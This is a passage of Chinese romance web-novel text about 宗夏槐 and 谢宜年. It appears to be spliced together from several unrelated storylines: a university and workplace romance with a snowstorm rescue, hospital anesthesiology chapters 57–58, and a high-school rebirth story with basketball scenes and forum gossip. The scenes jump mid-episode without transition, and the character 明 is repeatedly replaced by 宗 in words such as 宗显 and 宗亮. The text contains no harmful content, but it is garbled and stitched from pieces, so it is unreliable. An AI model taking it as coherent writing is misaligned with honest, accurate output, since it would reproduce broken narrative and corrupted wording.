后来在学校超市见到他,这人竟然绿色T恤配红色的篮球短裤,要不是那张脸,估计能荣登男生恶心穿搭赏析。 这让她不禁猜谢宜年的穿搭原则是不是在衣架上随便拿两件套上,不至于衣不蔽体,能出门就行?? 舍友催微信号催得紧,宗夏槐想都不想就A上去了。 她跟在他身后排队结账,好几次想搭话都没敢,身子因为想说话的欲望倒是越贴越近。 她凑一步,他往前躲一步。 直到谢宜年躲无可躲,偏头看着她,主动说:“你有事儿?” 宗夏槐仰头对上他眼睛,微笑:“啊?” 她看见两人快贴上的距离,赶紧后退:“哦对不起对不起……我。” 宗夏槐浑身都在使劲,偏是嘴不争气,愣是说不出想说的话。 “……没事。” 谢宜年瞥她一眼,把手里的东西交给售货员扫码。 就在这时,她忽然想到一个法子。 宗夏槐假装摸了摸口袋,“哎哟”了一声,看向前面的人,“学长,那个,我突然发现没带手机。” “你能帮我结一下账,我回头加你个微信还你钱。” 她抬起着急洇湿的眼眸,惯会装可怜,嗓音软乎乎的很清甜:“可以吗……麻烦您了。” 宗夏槐并不觉得自己长得漂亮,但是她却知道,自己从小到大一这样和别人示弱撒娇,基本没有不达目的的时候。 所以她对这套很自信。 果不其然,哪怕是校草级别的人物,在她这样的表情之下,谢宜年板着的眉眼稍微有些变化。 他缓慢地扫了一圈她,开口:“学妹。” 宗夏槐听他有了些温度的嗓音,心想事成了,欣喜道:“你把微信号抄给我就行,我回去立刻发你。” 怕他不信自己,她特地自报家门:“我是大一经管系的宗夏槐,宗日的宗,槐鸟的槐。” “我不会骗你的。” 给售货员扫码付款后,谢宜年一手捞起两瓶矿泉水,垂睨她隔着一层布料正在发光的口袋,毫不留情地拆穿:“你手机手电筒忘关了。” “闪得我眼睛疼。” 宗夏槐唰地低头,一把捂住发光的衣兜,红着脸看他转身离去,臊得险些原地崩溃。 啊啊啊啊啊!! ………… 谢宜年丝毫不顾及他人心情,以拆穿别人糗相为乐的毒舌属性,她那个时候就深有体会,并受害。 后来她还是托关系四请五找,历经千难要到了谢宜年的微信号。 有了那次被当场嘲笑的经历,她恨不得这辈子别再见到对方。 本来打算直接把微信推给舍友韦婧,但对方关闭了所有添加方式,宗夏槐只能拜托中间人找个借口,让谢宜年先加上她。 谢宜年倒也给她那个高中同学面子,加了她的微信。 宗夏槐盯着两人成功加为好友的对话框,心扑通扑通地莫名乱撞。 还没想好措辞,对方甩来一句。 【有事吗?】 这熟悉的开场白让她想到在超市的黑历史,一下更慌了,半天没回他。 对方似乎有些不耐烦了,又来了句。 【他跟我说你找我有急事,如果没话说我就删了。】 宗夏槐生怕失去这次机会,慌得跳到随便一个软件,随便甩给他一个看似是男生受众内容的分享链接。 总之先开启话题证宗她不是为了躺列的“死人”先!! 【等一下】 链接发过去之后,她再一看。 【小红书分享:男生大学期间如何拯救恶心衣品,一个帖子教会你!】 对方沉默了。 宗夏槐也沉默了。 她石化在原地,呆呆地看着对方“正在输入中”,然后迅速蹦过来几句。 【这就是你的急事儿?】 【你专门加我,就为了告诉我我衣品很差?】 【你哪位】 最后这三个字打过来的时候,已经宗显带着脾气了。 字里行间都透着一股“评价我?你tm算老几”的意思…… 那是宗夏槐人生第一次痛恨大数据精准算法的时刻。 ………… 宗夏槐合上书,喝了口水,醉醺醺的感觉还是没有缓解。 后来他们谈恋爱的时候,她一边笑话他不会穿衣服,一边替他搭配。 自那之后谢宜年的穿搭都是她一手掌控的,她很享受打扮他的感觉。 她抱住旁边的枕头,盯着台灯不禁发呆。 那么一个不会穿衣服,也懒得花心思在这方面的男人,如今以这么精致矜贵的状态出现。 必定是出现了另一个替他选衣服,他也愿意惯着对方随便安排的女人。 想到这里,宗夏槐就不止别扭。 酸涩好像从血管最细微的深处蔓延出来,一点点侵蚀各个感官,而她又无从抓挠缓解。 ………… 滨阳市中心还处在灯火斑斓的夜生活时间。 谢宜年下了车,直接钻进酒店大厅。 刷了卡回到十五楼套间楼层,他一出电梯,正好路过个穿着酒店工作服的女人。 谢宜年手指玩着房卡的动作一停,直接叫住对方:“邵青青?” 邵青青一开始都没看见他,听到声音突然刹住脚步,回头,认出了谢宜年:“嗯?” “你,你记得我?” “你是……谢宜年学长对吧?” 谢宜年点头,神情自若:“好久不见。” 邵青青压根没想到自己会被这种大神人物记住名字,毕竟当初她和谢宜年仅有的几次接触都是因为宗夏槐才有的。 这都毕业多少年了。 神了,难道牛逼的人连记忆力都跟普通人不一样? 邵青青牢记自己还在工作:“您住在这层吗?有需要的服务?” “还是对我们酒店的服务有什么建议呢?” 谢宜年对邵青青此刻澎湃的心理活动没兴趣,“没有。” 他脑海里浮现前天晚上宗夏槐红着眼睛冲进酒店那气冲冲的委屈模样,说:“那天我在酒店碰着个人。” 邵青青一愣,心想不会吧。 然后就听见他直接点破:“宗夏槐。” 谢宜年扫了一眼四周,回忆那晚的情景,面不改色:“她怎么了?” 最后视线落在邵青青脸上,语气不容置喙:“出什么事儿了。” ………… 没想到滨阳的暴雪天一来就没个停歇。 天气预报挂上了暴雪预警,滨阳暴风雪的气候甚至登上了热搜。 这天宗夏槐忙到晚上八点多,好不容易下了班,迎上暴风雪最激烈的时间段。 她站在公司办公楼下面,望着这片席卷城市的白色风暴,环顾四周都在等待打车的人,想来想去舍不得花钱打车。 公车站要走出一个路口左右,而且她不确定这种极端天气那班车还在不在运行。 宗夏槐决定先在楼下等会儿,看看雪会不会变小。 就在这时,她抬眼看见西侧办公楼有个人正在走向她这边。 她眯起眼睛,一眼认出了杨格。 杨格一边走向她,一边远远望她,目的宗显。 看见这人她瞬间一阵不适,自从提了分手他这几天一直没断过微信骚扰,烦得她都直接免打扰屏蔽了。 但这人又不还钱,不能删联系方式。 一想到他拉着她又要不依不饶地说那些有的没的,周围还这么多同事站着,宗夏槐心一横,直接冲进大雪之中。 先逃再说。 看见她抬腿就跑,杨格大喊:“槐槐!!你别淋着!别跑了我们谈谈!!” 附近都是一个办公楼滞留的人,来来往往很多网约车,宗夏槐感觉无数视线都在往她身上投,瞬间更尴尬了,跑得更快。 路面上都是新雪,她的鞋底不防滑,一边跑还在路上滑了好几次,差点摔倒。 宗夏槐跑到园区外的出口时,刘海就已经完全被雪打湿了,眼镜也全是水点。 身后的人还在追,而她又没有法子立刻消失。 这时候她再想打车都打不到了。 就在这一刻,一束宗亮的车灯突然穿过细密的雪幕——直直向她而来。 气派的越野车直接横在她面前。 宗夏槐脚下的路被照亮,地面上的雪闪闪碎光。 宗夏槐愣在原地,看着车窗一点点降下,谢宜年的脸映入她模糊的视线。 谢宜年单手扶着方向盘,攫着她的目光漆黑,嗓音在暴雪中清晰精准。 “上车。” 宗夏槐还处于意外中,一偏眼,看见了坐在副驾驶对她微笑的卷发女孩。 她仿佛一下子被定在原地。 不知该怎么反应。 徐同和哈哈大笑:“师妹别紧张,大家都是这么过来的。你脑子聪明,适应个一两天就好了。” 晨会结束的时候,宗夏槐的手机开始弹消息了,她被上一任住院总拉进了6个新群里。 有专门和外科联络的群,也有专门和急诊联络的群……谭月顺便把麻醉科工作大群群主的权限转让给了她。 从今天开始,宗夏槐就要开始负责麻醉科的每日排班了,她需要在每天下午5点前把排班表发到群里。 晨会结束后,宗夏槐坐进麻醉科办公室,看着电脑上多出来的10多个会诊申请,无声地叹了口气。 似乎是老天爷嫌她还不够糟心,call机也响了。 宗夏槐伸手接电话:“你好,麻醉科……好的,病人什么情况……好的我来了。” 她一转头,看见徐同和在身后,说:“急插管,我先去了。” 急插管属于麻醉科的急会诊,是比较紧急的情况。一般来说是病房的病人在高流量吸氧的情况下,氧饱和度不好并持续下降,这时候就会请麻醉科来急插管上呼吸机。 徐同和想了想说,“我和你一起去吧,师妹。” 第 57 章 第 57 章 虽然急插管听上去是一件凶险的事情,但宗夏槐并不陌生。 首先,插管是麻醉医生的拿手活,普通的插管对宗夏槐来说早已是得心应手。 急插管在普通插管的基础上对麻醉医生的综合能力及心理素质要求更高。宗夏槐当年在基地的时候值夜班就开始跑全院急插管,现在人手没有当年紧张,领导也变谨慎了,不再让基地医生单独外出插管,改让本院的一值来插。 这里值得额外说明一下,本院住院医生和基地规培医生(含四证)都干一值,一值有两个类型,分为大一值和小一值。 本院住院医生干大一值拿call机,基地规培医生干小一值主要是听指挥打下手。 总之,一句话,当年插管的人是宗夏槐,现在插管的还是她。 而且去ICU插管还有一个好处:家属不在。在病房插管,家属容易过分紧张,就算把他们拦在帘子外面,他们也要扒着帘子看,还有一些完全不讲理的家属,根本听不懂人话,直接站在床头盯着,生怕宗夏槐插的不是气管导管,而是把尖锐的弯刀。 宗夏槐并不需要徐同和跟着,她拎着插管箱急匆匆走了,徐同和愣了一下,还是选择跟上。 他对师妹早已经没有男女之情,但他和宗夏槐是同门师兄妹,如今夏槐又是刚上任住院总,作为师兄,他难免担心和忍不住多照顾一些。 两方人手很快就绪。 正是下午三四点,骄阳炽烈无遗,篮球场无遮无拦。 谢宜年正站边上喝矿泉水瓶里的最后一口水。 少年身姿高俊,穿着举目皆是的红黑白校服校裤也格外出众,此时散散漫漫站在阳光下,裸露在外的皮肤都白到发光。 校服短袖露出的一截手臂线条流畅有力,骨节分明的修长大手松松抓握着瓶矿泉水,头微仰,突出的喉结一下下缓缓滚动。 清薄的脖颈往上,容颜最是俊美无暇,此时桃花眼浅浅耷拉着,又显出几分慵懒,却是骄狂,发梢闪耀的光点撞进了所有人眼里! “啊啊啊啊啊啊啊我死了!!!” “怎么会有人穿个校服都这么帅啊!他的校服我的校服好像不一样!这少年感绝了!” “谢大少爷下海不得十万起步啊!这身高!这身材!这手!这脸!啊啊啊啊啊谢宜年当我老婆!!!!!” “好性感好性感好性感啊啊啊!!!好想喝谢宜年矿泉水瓶里的水!” “那桃花眼撩死我了!一分骄矜一分冷薄一分深情十分漫不经心!” 反观陈泽,正站在另一边进行球赛开始前的最后热身,一米八左右的身高和清秀的长相本身是够看的,但一对比谢宜年就逊色太多,此时摘下眼镜,那一贯的温和又褪色不少,装备很齐全,发带和护腕都戴着,正扭扭脚踝活动活动手腕,远远看向球场另一边谢宜年的目光里,不知带什么样的情绪。 “这么一对比陈泽真是弱爆了,谢宜年简直降维打击!” “呸,也配跟谢宜年比,人做了好事一声不吭他啥也没干坐享其成。” “所以以前是因为他戴了眼镜才觉得他帅的?眼镜一摘也就那样吧,我真该去眼科看看了……” “妈的打个球这么多动作,真是烂人多作怪。” “你们说陈泽要是输了会不会气死,人品比人家差,打球还打不过人家。” “人品差的人什么事都干的出来,搞不好等下打球还搞小动作呢。” 人群中忽然话题一转。 “你们说谁会赢?” “陈泽打球我见过,挺厉害的,但他人烂,我弃权。” “谢宜年才转来附中,虽然实力未知,但他不光人比陈泽好太多,还比陈泽高比陈泽帅,谁帅我选谁!” “我选谢宜年!” “我选谢宜年!” “我选谢宜年!” …… 一旁有人起哄问:“宗夏槐你选谁?” 宗夏槐扬眉一笑:“当然谢宜年。” 话音刚落。 “嘭——” 一个矿泉水瓶子精准丢进一旁垃圾桶。 众人循声望去,只见谢宜年转身朝这边走来。 瞬间全场安静,众人屏住呼吸,视线聚焦几乎要凝成实质。 众目睽睽之下。 谢宜年径直走到宗夏槐面前,直勾勾看着她,笑意懒洋洋:“伸手。” 这声音散漫又随性,又似乎含着无限情意。 宗夏槐像中了魔咒,脸不自觉发热,张着眼怔怔看着他,听从命令伸出手。 下一秒,手心落下两枚淡蓝色的薄荷糖,还残留着少年指尖的余热。 少年的桃花眼中盈着树隙间漏下来的光,肆意晃荡,令人眩晕。 声线又像是沁人清凉的自来水管水,是炎夏的最佳解药。 “等下要是低血糖了,就吃薄荷糖。” 宗夏槐不自觉微微弯起眼,对视两秒。 “那我要是直接晕倒了该怎么办?” 谢宜年勾着眼,特意加重那个字。 “那我就再抱你去医务室。” 宗夏槐瞬间脸颊发烫,自己都感受到了,正想要要怎么反驳回去。 谢宜年已经转身往球场去了,留下轻飘飘的一句话。 “有眼光,好好看。” 自恋鬼! 宗夏槐在内心笑骂,看着谢宜年远去的背影,又低下头,缓缓张开手,盯着那两枚薄荷糖发呆。 周围的女生早已掀起了新一轮的热潮。 “啊啊啊啊啊谢宜年这是什么中国好同桌!怕宗夏槐再晕倒,还特意来送薄荷糖!” “还说宗夏槐再晕倒了就再送宗夏槐去医务室!上周宗夏槐晕倒的时候我就注意到他了!其他男生都怂得要死,就他一点不嫌弃宗夏槐胖,主动送女同学去医务室,有责任有担当!” “梦一个同桌是谢宜年!” “什么同桌能做到这份上啊?” “实名羡慕宗夏槐了!骄矜少爷爱上我!” “哈哈哈哈哈哈哈好想吃谢宜年送的薄荷糖哈哈哈哈哈——” “救命这是吞了多少本玛丽苏小说我先去喝口水缓缓哈哈哈哈哈哈哈——” “啊啊啊啊啊啊啊要给谢宜年送的水早就买好了球赛怎么还不开始啊!!!!!!!” 火红的篮球往湛蓝的天空一抛,球赛开始! 宗夏槐站在一旁的树荫下,唇齿间漫开薄荷糖的清凉,静静注视着场上的一切。 她早就领会过谢宜年的变态程度,对这场篮球赛结果其实没什么悬念。 然而现实却是十分精彩。 篮球是一项极具观赏性的运动,每时每刻都足以激动人心。 一开场,段锐就把球一抢传给谢宜年。 谢宜年速度太快,又或者对手实在轻敌,还没怎么反应,少年就一个起跃投出,篮球跨越大半个场地,在空中划过一道激越的弧线。 “哐——” 超远三分投! 周围女生瞬间爆发出呐喊。 “啊啊啊啊啊啊啊帅爆了!” “没想到谢宜年篮球也打的这么好!” “简直毫无悬念!” “陈泽不行啊。” 陈泽瞬间眉眼一冷,这次很有针对性,几个人围在篮筐下堵谢宜年。 段锐被截在外围完全有心无力。 然而谢宜年不光体型极具优势,速度、力量和技巧也远超场上所有人,根本懒得突破,原地直接起跳压腕,动作松松散散,目光还睨着边上的一圈人呢,球已经从白网落出。 一投即中! “啊啊啊啊漫不经心杀我!” “当年我轻轻一投,不知道什么叫对手!” “谢宜年我是你粉头好狂好拽好酷直接一整个爱上啊啊啊!!!” 谢宜年完全是来炫技的。 三分钟后。 “咣——” 一声巨响。 震撼全场的一个扣篮! 少年跃在空中,重重一扣,篮筐篮网甚至整个篮球架都随之晃荡。 瞬间将全场的气氛掀向高潮! 在场所有女生嗓子都喊哑了。 “啊啊啊啊我的心都快跳出来了!” “从此爱上会打篮球的男生!” “谢宜年真的是帅到犯规!” 谢宜年轻轻落地,松松揉了揉手腕,抬眼看向陈泽:“改天吧。” 陈泽瞬间脸色铁青,不说话。 “笑死,谢宜年不打了。” “确实,跟陈泽打挺没意思的。” “陈泽全程连球都没摸着。” “7:0,真难看啊。” “你们说陈泽是气谢宜年不打了找不回场子还是怕更丢脸不敢打?” “哈哈哈哈别打了别打了再打更难看。” “封谢宜年一个附中篮球南波万不过分吧。” “啊啊啊谢宜年从今天开始你就是我的神!” “笑死别贫了谢宜年过来了快去给他送水啊啊啊啊啊!!!!!” 谢宜年没接任何人的水,甚至因其周身气场过于冷冽和玩世不恭,几乎没有女生敢靠近。 他径直走向宗夏槐。 “我的水呢?” 声音懒洋洋,讨要奖励的猫主子一样。 少年散漫站那儿,校服映出优美流畅的身体线条,腿长手长,清薄的锁骨间盈着薄汗,格外诱人。 正是绿荫下,树隙在他脸上洒下疏淡斑驳的光点,少年雪白的皮肤泛着水光,更显容颜俊美。 那双桃花眼仍是笑意盎然,炽热浓郁,风拂过,微湿墨黑的发梢恣意流转,薄荷的清冽气息被冲淡,荷尔蒙爆棚。 宗夏槐笑眼望去,从身侧举起早就买好的水:“喏。” 谢宜年眨眨眼,又揉揉手腕,还留有扣篮的余震:“手痛。” 宗夏槐瞬间扑哧一笑,心想这位大少爷给点糖还矫情上了,然而目光悠悠,语气幽幽:“那我帮你拧开?” 谢宜年忍不住一笑,懒懒点头:“行。” 宗夏槐利落将矿泉水瓶拧开,递过去:“谢谢你了。” 谢宜年仰头喝了口,长睫低俯,清澈的声音中含着笑意:“谢我什么?” “谢你今天篮球赛打的这么精彩,谢你上周体育课送我去医务室,谢你以后就算我晕倒你也会送我去医务室……”宗夏槐站在他面前,背着手,微微低头,脸颊有些发红。 谢宜年单手拧着矿泉水瓶盖,轻轻一举,勾着声音,得寸进尺:“就拿这个谢我?” 宗夏槐觉得谢宜年真的很幼稚,幼儿园小朋友干了好事要小红花一样,故意悠着说:“那我明早给你买三鲜豆皮?” 谢宜年立马变脸:“不要!” 少年的声音透着冷漠的拒绝,然而郁闷着神情,就、很、可、爱。 宗夏槐瞬间笑出了声,想到这周末要回家,于是问:“你喜欢薄荷吗?” 谢宜年看着她:“还行。” “甜食呢?” “也不错。” 周围人群早就震惊震惊特大震惊! “什么?我没看错吧?谢宜年刚刚是在撒娇?” “认证成功,满级茶艺大师!” “不知道为什么,别的男生装手痛让女生拧矿泉水我只会觉得做作,到谢宜年这就格外可爱,好的我是颜狗我承认!” “关键宗夏槐还超宠他诶!” “我自己的同桌我自己宠!” “没有你谁还把我当小孩!” “她超好她还陪他演!” “宗夏槐真的钓死我了!” “你们有没有注意到宗夏槐脸上贴的是美乐蒂创可贴!” “我想起来了!刚刚去小卖部碰到谢宜年买创口贴,还特意问老板娘有没有可爱点的!” “啊啊啊啊啊啊啊!!!!!!!” “这不是真的我自剖两碗粉!” “只羡鸳鸯不羡仙,羡慕谢宗每一天!” 当晚某论坛悄悄出现一个帖子。 【八一八少爷和同桌的二三事。】 LZ:现在入股就是原始粉了。 一经钓鱼,瞬间掀起千层浪,人生处处是观众,回帖无数。 【从宗夏槐送谢宜年草莓蛋糕的时候我就觉得不对劲了。】 【那天晚饭小西门外面还看他俩笑笑闹闹呢。】 【我说谢宜年为啥为了宗夏槐怼我呢。】 【哥们你马甲掉了。】 【周三早上他俩一起去食堂在现场!】 【某天晚上在书店亲眼目击!】 【我在篮球场也看到了!】 【就四个字,我赌宗夏槐。】 【宗夏槐体育课被李秋雅砸,谢宜年还给宗夏槐递球呢!】 【什么同桌关系能次次都送去医务室!】 【篮球赛为了谁我就不说了吧。】 【悄咪咪说一下,某天晚自习谢大少爷屈尊降贵向前桌借纸,是因为宗夏槐哭了。】 【妈呀这是谈上了?】 【石锤了他敲爱!】 段锐&何田田看到:?当我们是空气呢?好的我们确实是电灯泡…… 两位当事人还不知情,但表示:我们真的只是同桌关系。 另一高楼也悄悄建起。 【高二七班宗夏槐爽爆我!】 LZ:一人撕翻嘴贱塑料姐妹团!怒怼黎梦罗雨晴道歉!霸气要钱锤陈泽!月考第一父子赌约!被李秋雅砸排球也当场还回去! 【《重生之我是宗夏槐》】 【宗夏槐人生我的梦!】 【只敢在人背后说,不敢在人面前说,我看不起!】 【我这个人向来心胸狭隘,睚眦必报!】 【所以我建议,你们直接向我道歉!】 【《陈泽还钱!》】 【我没那么过分,你叫我声爹就行了!】 【《痛吗?》】 【要我真不敢吱声呜呜呜QAQ】 【不怕事大,就怕胆小。】 【大家都要当勇敢的女孩子!】 【你若不勇敢,谁替你坚强~】 【你若盛开,蝴蝶自来~】 【滚啊哈哈哈哈——】 【哈哈叉出去!】 【草啊不说我都没想起来!陈泽欠我的二十块钱还没还!】 【快去找他要回来啊!绝对不能便宜了那个渣!】 【吼吼吼吼!明天一早我就冲八班去!】 【妈耶他这种人也能考全校第一,毁三观。】 【期待宗夏槐月考第一!】- 宗夏槐直到周六放学,站在教学楼底下,看着外面连天的雨幕,都还在思考一件事情。 为什么重回高二,仅仅一周,她对谢宜年的印象就足以颠覆。 记得前世,她对谢宜年的印象大概是,长挺好看一男的,但冷拽刻薄且二世祖,白瞎了那张脸。 起因就是前世的今天,也是周六放学,也是这样一个下雨天,印象过于深刻,以至于难以磨灭。 当时她站在同样的位置,刚撑开伞,就见一少年淋着雨往校门口走去,步伐不疾不徐,背影孤傲,看不清情绪,书包仍松松散散挎在一侧肩膀上,顶都不带往头上顶的。 她当时就想,下雨了不知道跑,有书包不知道往头上挡,妈的这不傻子吗?! 再定睛一看,哦,谢宜年,这傻子她同桌…… 本来就傻,再淋雨别把脑子给淋坏了! 她想都没想,连忙跑过去要给谢宜年打伞。 谢宜年步子像老大爷遛弯,但腿长,没一下就走出老远,她追的贼辛苦,等赶上已经到了校门口。 “谢宜年!”她气喘吁吁,刚抓住他的手腕。 少年回过身,看到她,本就没什么表情的脸上陡然一凝,眉目间只剩冷,一种终年刺骨的冷,静默几秒,一句话也没说,就拂开她的手,转身利落走了。 她站在原地,看着谢宜年淋雨沿着人行道往前,本以为他会就这样消失在放学的人海中。 结果,下一秒。 街边疾速驶来一辆双闪双R小金人车标的黑色豪车,闪瞎她的眼,后来她才知道,是劳斯莱斯幻影典藏版,全球限量20台,价格上亿,然后被用来接少爷上下学…… 老奴闪亮登场,不是,那司机真穿着黑西装戴着黑墨镜还打着黑伞!她目瞪口呆,心想她还是保守了现实生活还是魔幻太多,救命怎么会这么尬啊哈哈哈哈哈—— 老奴,哦不司机哈哈哈,毕恭毕敬,打开后车门,又弯身撑伞。 谢宜年长腿一跨,优雅坐进车里,少年头发湿黑,皮肤冷白,容颜浓郁,周身都显出一种矜贵,对上车外的她,“哐!”车门被重重一甩。 “……” 她站在原地毫无感觉,甚至有点想笑,大少爷这是发脾气了吗? 本以为事情就这样结束。 然而资本家总是万恶的。 那辆车本就贴着街边停,她光顾着在原地偷笑都没来得及躲开,路面又积了满满一坑的雨水。 “哗——” 劳斯莱斯幻影扬长而去,她被溅了一裤腿雨。 要不是穿的鞋防水…… 她对那天的印象就是这样。 少年孤高冷傲的背影,狂拽酷炫的黑人抬棺司机和劳斯莱斯幻影,以及湿着裤脚回家的透心凉。 终、生、难、忘。 以至于后来对谢宜年的印象都不太好,都是冷拽刻薄且二世祖…… 此时。 宗夏槐站在教学楼底下,一眼望去,却并没有在雨幕中见到前世的那个孤傲背影。 她没太多想,撑开伞,抬步往阶下去。 倏然。 清冽的薄荷气息又侵袭了过来。 一阵快速的脚步声,一人弯身躲进了她伞下,一把小小的浅蓝色雨伞瞬间拥挤了起来。 她一转过头,就撞进了那双水色潋滟的桃花眼里。 少年眸光笑意勾人,声音慵懒又漫不经心。 “宗同学,可以送我去校门口吗?” 这时徐同和出声,他看出两人不对劲,还以为他们关系不好,出来“打圆场”:“没事,师妹,你就写一个建议完善相关检查,等心超结果出来了,让他们再发一个会诊就行了。” 写一个会诊60块,住院总这活干得累死累活的,不赚白不赚。 这下谢宜年更被“点燃”了,他今天铁了心要和徐同和唱反调,说:“那不行,杨主任收的病人都不富裕,特意说了,要给病人省着点钱。” 徐同和用一言难尽的目光看着谢宜年,这下他是真确定谢宜年和师妹“有仇”了。但是这俩人是什么时候结下的梁子?他以前和谢宜年打过交道,谢宜年也没这么小肚鸡肠啊。 徐同和有些为师妹“打抱不平”了:“谢宜年,你们开一台刀多少钱?没必要克扣我们这60块钱会诊费吧。” 徐同和不知道他这会儿说话才叫“火上浇油”。 谢宜年盯着宗夏槐,似乎是期待她说两句话。偏偏宗夏槐没理解他意思,她为工作的事情焦头烂额,哪里知道他在吃醋。 谢宜年被气走了。 最莫名其妙的是徐同和,谢宜年走后,徐同和转头对师妹说:“现在的外科是有些不可理喻。” 60块会诊费也要克扣,太不是人了! 第 58 章 第 58 章 虽然忙得焦头烂额,宗夏槐还是下意识为谢宜年说了一句:“他不是这种小气的人,可能也是主任的要求吧,这种会诊确实没必要反复请。” 徐同和听她这么说,不知想到了什么,深叹了一口气:“说到这一点,他家确实还算守规矩,对我们也比较客气。” 徐同和走过去,关了办公室的门,和宗夏槐说起悄悄话:“脑外医生脾气大,被医院宠坏了,有那么几个组……” 徐同和说:“这几个组主任脾气大,也比较记仇,尽量还是满足他们的要求。” 宗夏槐不太认可:“什么要求都要满足吗?那我们存在的意义是什么?” 麻醉和外科是同级科室,又不是听他们说什么就是什么。 徐同和无奈:“师妹,或许你觉得我太老好人,不够硬气,但事实是,我们停不了手术。” 谢宜年扫了一圈,教室里就没几个人。 他再皱起眉,往奶茶袋子里一看,也没有便利贴什么的。 根本不知道是谁送的。 他自己是不可能碰的。 丢了吧,又浪费粮食。 谢宜年一如往常,朝段锐使了个眼神:“给你。” “我才不帮你挡这桃花!”段锐十分嫌弃,“上次帮你喝了那杯芋泥波波,人广播站孟秦语还来找我哭。” 宗夏槐在一旁直乐。 谢宜年忽然转过身。 宗夏槐指了指自己:“又要我帮你喝?” 前排。 趴桌子上的女生忽然缓缓转过头,看向这边。 是李秋雅。 谢宜年对上那目光,立马眉一凛,拎起奶茶起身:“不了,我怕你喝了恶心。” 接着,他就当着李秋雅的视线,大步走出教室,将那杯奶茶放到了垃圾桶旁的地上。 宗夏槐还不知道发生了什么情况,就对上了李秋雅冰冷的目光。 得,无妄之灾。 记得前世,李秋雅虽然追求谢宜年,但从不会借她之手。 说不定就有李秋雅送谢宜年奶茶,但被她喝了的情况。 怪不得李秋雅那么恨她,原来源头在这儿。 不过她实在想不明白,她能有什么威胁。 她样貌、成绩和家世都不如李秋雅,不过是跟谢宜年当了几个月同桌。 谢宜年又不可能喜欢她,她对李秋雅完全不构成竞争关系。 难不成跟谢宜年当过同桌就能成为她嫉妒的理由? 太可怕了吧…… 恋爱脑达咩啊! 我不想当你们play的一环啊啊啊!!!- 时间还早。 谢宜年要跟段锐去书店买点资料。 宗夏槐掀开桌板一看:“等等,我跟你们一起去,我也要买套新卷子了。” 段锐一听:“啊我突然想起还有作业没写,你们去吧你们去吧……” 谢宜年&宗夏槐:“……” 去书店走大路要拐很远,穿小树林则很近。 宗夏槐一下教学楼就扎进了小树林里,谢宜年在后面紧紧跟着。 “有没有人跟你说过,不要轻易走小树林。”谢宜年忽然说,少年的声线在昏暗浓翠的林间格外清幽。 “会碰见脏东西是吧?”宗夏槐全不在意。 结果,下一秒,目光就触及了不远处亭子里的两抹身影。 “凭什么!我处处比宗夏槐好!谢宜年为什么会喜欢她!” 宗夏槐脑子“轰”的一声炸了,缓缓回过头,目光复杂地看着谢宜年,不敢想象一样,慢慢开口。 “你喜欢我?” 少年的身影在傍晚的暗色里不甚清晰。 谢宜年似乎也出神了几秒,眸光明灭不定,接着,极为散漫地扯唇一笑:“我自己都不知道。” “……” 小亭那边,陈泽已经开始安慰李秋雅。 “没事的,谢宜年把你买的奶茶丢了,你买给我,我喝。” 宗夏槐:“……” 好的,闭环了。 前世一开始。 她暗恋陈泽,陈泽舔李秋雅,李秋雅追谢宜年。 然后,李秋雅误以为谢宜年喜欢她??? 喂!天大的误会啊! 后来。 李秋雅当众表白谢宜年被拒,陈泽趁机舔狗上位。 而她,被塑料闺蜜撬了渣男暗恋对象,被伤害的只有她。 再后来。 她考上全校第一,减肥成功惊艳众人,陈泽又开始倒追她。 推导的没错的话。 李秋雅估计也就是玩玩而已,但不甘心谢宜年和陈泽一个个的都喜欢她,于是对她恨之入骨,以至于找小混混在巷子里堵她。 宗夏槐:“……” 无语无语无语死了,现在就是十分无语非常无语无语至极!!! 都说了高中生不能早恋……- 去书店的一路上。 宗夏槐都很安静。 “怎么,你塑料小姐妹把你那人品差的前表白对象撬了不高兴?”谢宜年悠悠问。 “没有,我就是觉得恶心。”宗夏槐皱眉。 “确实。”谢宜年勾着眼,语气漫不经心,“下次长点心吧。” “没有下次了。”宗夏槐眉目冷淡,“我一个也不会放过。” “……” 谢宜年脑子里瞬间就响起了宗夏槐上次对罗雨晴说的“我这个人向来心胸狭隘,睚眦必报……” 真的不能惹女生。 尤其宗夏槐…… “烦死了。”宗夏槐拧着眉,“李秋雅喜欢你的事儿凭什么要扯到我身上啊。” “……”谢宜年默了片刻,“我也不想被李秋雅喜欢啊……” “那你想被谁喜欢?”宗夏槐回过头,挑起眼。 谢宜年悠悠看着她的眼睛,抿了下唇,没说话。 宗夏槐被盯的有些不自在,闪了下睫,转头继续往前走:“不过你也挺怪的,李秋雅公认的大美女,班上男生都喜欢。” 谢宜年眉一挑:“谁规定了,别人都喜欢的我就一定要喜欢。” “不是你喜欢的类型?”宗夏槐还在好奇着。 “喜欢的从来不是类型,是人。”谢宜年其实从来没思考过这个问题,话就这么脱口而出了。 宗夏槐回头看了谢宜年一眼,觉得他的话跟他的人一样令人费解- 来到书店。 宗夏槐随手挑了几套卷子,其实她都刷过,保险起见,再复习复习。 再看谢宜年。 少年站在书店暖黄的灯光下,轮廓透出柔和与专注,微低着头在书堆上挑挑拣拣,最后拎了一本数学一本物理。 “其他科目不买吗?”宗夏槐抱着卷子问。 “写不完。” 谢宜年回过头,看到她抱着的一大摞,眉一挑:“你怎么买这么多?” “当饭吃。” “……” 谢宜年看了她几秒,很担忧的样子:“会不会消化不良?” “放一百个心。”宗夏槐将卷子放收银台上结账,“我每天要写很多。” 谢宜年回忆了下,宗夏槐最近确实每天不是刷题就是刷题,咖啡都是致死量,课间睡会还要让他五分钟后叫醒她……估计晚上也熬到很晚,睡不了几个小时。 半晌,他终于忍不住开口。 “其实吧,输了也不丢人。” “我一定会赢!” 少女笑容张扬,神色坚定。 “……” “你知道吧,你现在正是长身体的年纪。”谢宜年平静说,“借用你的一句话,不睡觉会猝死,不学习也就菜一时。” “喂,”宗夏槐扬眼一笑,“人这辈子,总得为了点什么努力一回吧,浮名也好虚荣也罢,我都想闪耀那一次。” 前世,在那个最虚荣的年纪,想要变美早上只吃一个苹果,想要变瘦晚上绕着操场跑一圈又一圈,想要考全校第一每天熬到两三点,她从未后悔过。 重来一世,她依旧只有十六岁,依旧是那个想要得到所有人赞赏目光的小女孩,只不过这一世,她想要一世荣光,也想要恣意张扬。 谢宜年看着她,很半天,笑了笑。 “那你一定可以的。” 走出书店,晚霞染透了半边天。 宗夏槐忍不住好奇:“你每天几点睡?” 谢宜年:“十一点之前。” 宗夏槐转头定定盯着她:“你真的是高中生吗?” 谢宜年:“……” “怎么,高中生睡觉犯法?” “……有道理。” “你高一在哪上的?” “国外。” 